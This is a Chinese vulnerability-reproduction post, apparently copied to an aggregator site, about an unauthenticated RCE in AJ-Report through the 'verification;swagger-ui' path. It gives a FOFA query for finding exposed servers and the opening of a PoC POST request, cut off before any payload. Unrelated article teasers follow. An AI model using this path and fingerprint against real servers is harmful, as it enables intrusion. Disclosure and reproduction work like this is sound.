AJ-Report开源数据大屏 verification；swagger-ui RCE漏洞复现

news2024/7/6 20:06:35

0x01 产品简介

AJ-Report是一个完全开源的BI平台，酷炫大屏展示，能随时随地掌控业务动态，让每个决策都有数据支撑。多数据源支持，内置mysql、elasticsearch、kudu等多种驱动，支持自定义数据集省去数据接口开发，支持17+种大屏组件，不会开发，照着设计稿也可以制作大屏。三步轻松完成大屏设计：配置数据源---->写SQL配置数据集---->拖拽配置大屏---->保存发布。欢迎体验。

0x02 漏洞概述

AJ-Report开源数据大屏 verification;swagger-ui接口存在远程命令执行漏洞，未经身份验证的远程攻击者可以利用此类漏洞执行任意命令，写入后门文件，最终可获取服务器权限。

0x03 复现环境

FOFA：title="AJ-Report"

0x04 漏洞复现

PoC

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applic

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1641089.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Linux进程——Linux下常见的进程状态

Linux进程——Linux下常见的进程状态

前言：在进程学习这一块，我们主要学习的就是PCB这个进程控制块，而PBC就是用来描述进程的结构体，而进程状态就是PCB结构体中的一个变量。 本篇主要内容： 操作系统中的进程状态Linux下的进程状态 在开始之前，我…
阅读更多...
MLP手写数字识别(2)-模型构建、训练与识别(tensorflow)

MLP手写数字识别(2)-模型构建、训练与识别(tensorflow)

查看tensorflow版本 import tensorflow as tfprint(Tensorflow Version:{}.format(tf.__version__)) print(tf.config.list_physical_devices())1.MNIST的数据集下载与预处理 import tensorflow as tf from keras.datasets import mnist from keras.utils import to_categori…
阅读更多...
排序算法--直接选择排序

排序算法--直接选择排序

前提： 选择排序：选择排序(Selection sort)是一种比较简单的排序算法。它的算法思想是每一次从待排序的数据元素中选出最小(或最大)的一个元素，存放在序列的起始位置，直到全部待排序的数据元素排完。 话不多说，直接放图…
阅读更多...
Xamarin.Android项目显示Properties

Xamarin.Android项目显示Properties

在 Visual Studio 2022 中，如果您需要调出“Properties”（属性）窗口，您可以使用以下几种方法： 快捷键： 您可以按 F4 快速打开当前选择项的“Properties”窗口。
阅读更多...
postman中百度preview无法加载的解决方案

postman中百度preview无法加载的解决方案

问题 在使用postman关联时，百度接口与天气接口已使用glb_city关联，但在百度接口发送请求时，发现preview无法加载 解决方案 1、进入百度 百度全球领先的中文搜索引擎、致力于让网民更便捷地获取信息，找到所求。百度超过千亿的中…
阅读更多...
【云原生】Docker 实践（二）：什么是 Docker 的镜像

【云原生】Docker 实践（二）：什么是 Docker 的镜像

【Docker 实践】系列共包含以下几篇文章： Docker 实践（一）：在 Docker 中部署第一个应用Docker 实践（二）：什么是 Docker 的镜像Docker 实践（三）：使用 Dockerf…
阅读更多...
在M1芯片安装鸿蒙闪退解决方法

在M1芯片安装鸿蒙闪退解决方法

在M1芯片安装鸿蒙闪退解决方法 前言下载鸿蒙系统安装完成后，在M1 Macos14上打开闪退解决办法接下来就是按照提示一步一步安装。 前言 重新安装macos系统后，再次下载鸿蒙开发软件，竟然发现打不开。 下载鸿蒙系统 下载地址：http…
阅读更多...
eNSP-抓包解析HTTP、FTP、DNS协议

eNSP-抓包解析HTTP、FTP、DNS协议

一、环境搭建 1.http服务器搭建 2.FTP服务器搭建 3.DNS服务器搭建 二、抓包 三、http协议 1.HTTP协议，建立在FTP协议之上 2.http请求 3.http响应 请求响应报文参考：https://it-chengzi.blog.csdn.net/article/details/113809803 4.浏览器开发者工具抓包…
阅读更多...
堆栈打印跟踪Activity的启动过程(基于Android10.0.0-r41)，framework修改，去除第三方app的倒计时页面

堆栈打印跟踪Activity的启动过程(基于Android10.0.0-r41)，framework修改，去除第三方app的倒计时页面

文章目录 堆栈打印跟踪Activity的启动过程(基于Android10.0.0-r41)，framework修改，去除第三方app的倒计时页面1.打印异常堆栈2.去除第三方app的倒计时页面3.模拟点击事件跳过首页进入主页 堆栈打印跟踪Activity的启动过程(基于Android10.0.0-r41)&#x…
阅读更多...
SpringCloud微服务项目创建流程

SpringCloud微服务项目创建流程

为了模拟微服务场景，学习中为了方便，先创建一个父工程，后续的工程都以这个工程为准，实用maven聚合和继承，统一管理子工程的版本和配置。 后续使用中只需要只有配置和版本需要自己规定之外没有其它区别。 微服务中分为…
阅读更多...
MLP实现fashion_mnist数据集分类(2)-函数式API构建模型(tensorflow)

MLP实现fashion_mnist数据集分类(2)-函数式API构建模型(tensorflow)

使用函数式API构建模型，使得模型可以处理多输入多输出。 1、查看tensorflow版本 import tensorflow as tfprint(Tensorflow Version:{}.format(tf.__version__)) print(tf.config.list_physical_devices())2、fashion_mnist数据集分类模型 2.1 使用Sequential构建…
阅读更多...
4 Spring AOP

4 Spring AOP

目录 AOP 简介 传统开发模式 先来看一个需求 解决方案 AOP 图示 Spring 启用 AspectJ 基于 xml 配置 创建 pom.xml 创建 UserService 借口和 UserServiceImpl实现类 创建 LogAdvice 日志通知 创建 log4j.properties 重点：创建 spring-context-xml.xml 配…
阅读更多...
MyBatis:mybatis基础操作

MyBatis:mybatis基础操作

MyBatis基础操作 新增 接口方法 Insert() insert();删除 接口方法 Delete() delete();Delete("delete from emp where id #{id}") public abstract void delete(Integer id) //如果只传了一个形参,括号内可以随意写修改 接口方法 Update() update();查询 接…
阅读更多...
Jupyter Notebook魔术命令

Jupyter Notebook魔术命令

Jupyter Notebook是一个基于网页的交互式笔记本，支持运行多种编程语言。 Jupyter Notebook 的本质式一个Web应用程序，便于创建和共享文学化程序文档，支持实现代码，数学方程，可视化和markdown。用途包括：数据…
阅读更多...
MATLAB中自定义栅格数据地理坐标R，利用geotifwrite写入tif

MATLAB中自定义栅格数据地理坐标R，利用geotifwrite写入tif

场景描述： 有时候将nc格式的数据转成tiff，或者是将一个矩阵输出成带有地理坐标信息tiff数据时，常常涉及到空间参考的定义和geotiffwrite()函数。 问题描述： 以全球数据为例，今天发现在matlab中对矩阵进行显示后&…
阅读更多...
【大模型学习】大模型相关概念

【大模型学习】大模型相关概念

知识库 Embeding 嵌入，又称向量化、矢量化。 Prompt engineer 提示词工程 提示工程技巧 RAG 检索增强生成，提高文本的准确性和丰富性。 Fine tuning 微调，优化已有人工智能模型以适应特定任务的技术。 AI agent AI代理人&…
阅读更多...
华为机考入门python3--（19）牛客19- 简单错误记录

华为机考入门python3--（19）牛客19- 简单错误记录

分类：字符串 知识点： 分割字符串 my_str.split(\\) 字符串只保留最后16位字符 my_str[-16:] 列表可以作为队列、栈 添加元素到第一个位置 my_list.insert(0, elem) 增加元素到最后一个位置 my_list.append(elem) 删除第一个 my_list.pop(0)…
阅读更多...
Python中的数据可视化：阶梯图matplotlib.pyplot.step()

Python中的数据可视化：阶梯图matplotlib.pyplot.step()

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 Python中的数据可视化： 阶梯图 matplotlib.pyplot.step() [太阳]选择题 matplotlib.pyplot.step()的功能是？ import matplotlib.pyplot as plt import numpy as…
阅读更多...
基于Springboot的旅游管理系统（有报告）。Javaee项目，springboot项目。

基于Springboot的旅游管理系统（有报告）。Javaee项目，springboot项目。

演示视频： 基于Springboot的旅游管理系统（有报告）。Javaee项目，springboot项目。 项目介绍： 采用M（model）V（view）C（controller）三层体系结构&…
阅读更多...
[1702]java旅游资源网上填报系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

[1702]java旅游资源网上填报系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 java旅游资源网上填报系统是一套完善的java web信息管理系统，对理解JSP java编程开发语言有帮助，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境为 TOMCAT7.0,Myeclipse8.5开发，数据库为Mysql…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023